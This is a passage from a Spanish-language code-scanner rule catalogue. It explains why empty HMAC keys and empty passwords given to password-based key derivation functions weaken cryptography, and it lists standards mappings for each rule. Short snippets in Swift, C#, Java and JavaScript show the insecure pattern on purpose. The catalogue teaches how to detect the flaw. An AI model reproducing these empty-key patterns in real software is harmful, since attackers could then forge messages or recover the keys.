[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_hmac_key
Abstract
Las claves de HMAC vacías pueden poner en riesgo la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea utilizar una clave HMAC vacía. La intensidad criptográfica de HMAC depende del tamaño de la clave secreta, que se utiliza para calcular y verificar los valores de autenticación de mensajes. El uso de una clave vacía debilita la intensidad criptográfica de la función HMAC.

Ejemplo 1: El siguiente código utiliza una clave vacía para el cálculo de HMAC:


...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...


Puede ser que el código del Example 1 se ejecute correctamente, pero cualquiera con acceso a él puede darse cuenta de que utiliza una clave HMAC vacía. Una vez que se haya distribuido el programa, no hay forma de cambiar la clave HMAC vacía, a menos que el programa tenga instaladas las revisiones. Un empleado malintencionado con acceso a esta información puede utilizarla para comprometer la función HMAC. Además, el código en el Example 1 es vulnerable a las falsificaciones y a los ataques de recuperación de claves.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_hmac_key
Abstract
El uso de una clave generada por una función de derivación de claves basada en contraseña a la que se pasó un valor vacío para su argumento de contraseña podría comprometer la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.dotnet.key_management_empty_pbe_password
Abstract
Se utiliza una contraseña vacía para generar una clave a partir de una función de derivación de claves basada en contraseñas (PBKDF). El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma difícil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basará exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...


No solo permitirá a cualquiera con acceso al código determinar que genere una o varias claves criptográficas basadas en un argumento de contraseña vacía, sino que cualquier usuario malintencionado podrá obtener acceso a cualquier recurso protegido por las claves dañinas. Si, además, un usuario malintencionado tiene acceso al valor de sal que se usa para generar cualquiera de las claves basadas en una contraseña vacía, le resultará muy sencillo descifrar esas claves. Una vez lanzado el programa, no hay forma de cambiar la contraseña vacía, a menos que el programa tenga instaladas las revisiones. Un empleado con acceso a esta información podría utilizarla para irrumpir en el sistema. Incluso si los usuarios malintencionados tuvieran solo acceso al ejecutable de la aplicación, podrían saber que se está usando una contraseña vacía.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_pbe_password
Abstract
El establecimiento de contraseñas vacías a una PBKDF compromete la seguridad del sistema de una forma que no es fácil de resolver.
Explanation
Nunca es una buena idea pasar un valor vacío como argumento de contraseña a una función de derivación de claves basada en contraseñas criptográfica (PBKDF). En este caso, la clave derivada se basa exclusivamente en la sal proporcionada (debilitándola considerablemente) y complicará en gran medida la solución del problema. Una vez que el código dañino está en ejecución, a menudo la contraseña vacía no se puede cambiar sin aplicar revisiones al software. Si la cuenta protegida por una clave derivada basada en una contraseña vacía se ve comprometida, los propietarios del sistema podrían verse obligados a elegir entre la seguridad y la disponibilidad.

Ejemplo 1: El siguiente código pasa la cadena vacía como el argumento de contraseña a una PBKDF criptográfica:


const pbkdfPassword = "";
crypto.pbkdf2(
pbkdfPassword,
salt,
numIterations,
keyLen,
hashAlg,
function (err, derivedKey) { ... }
)


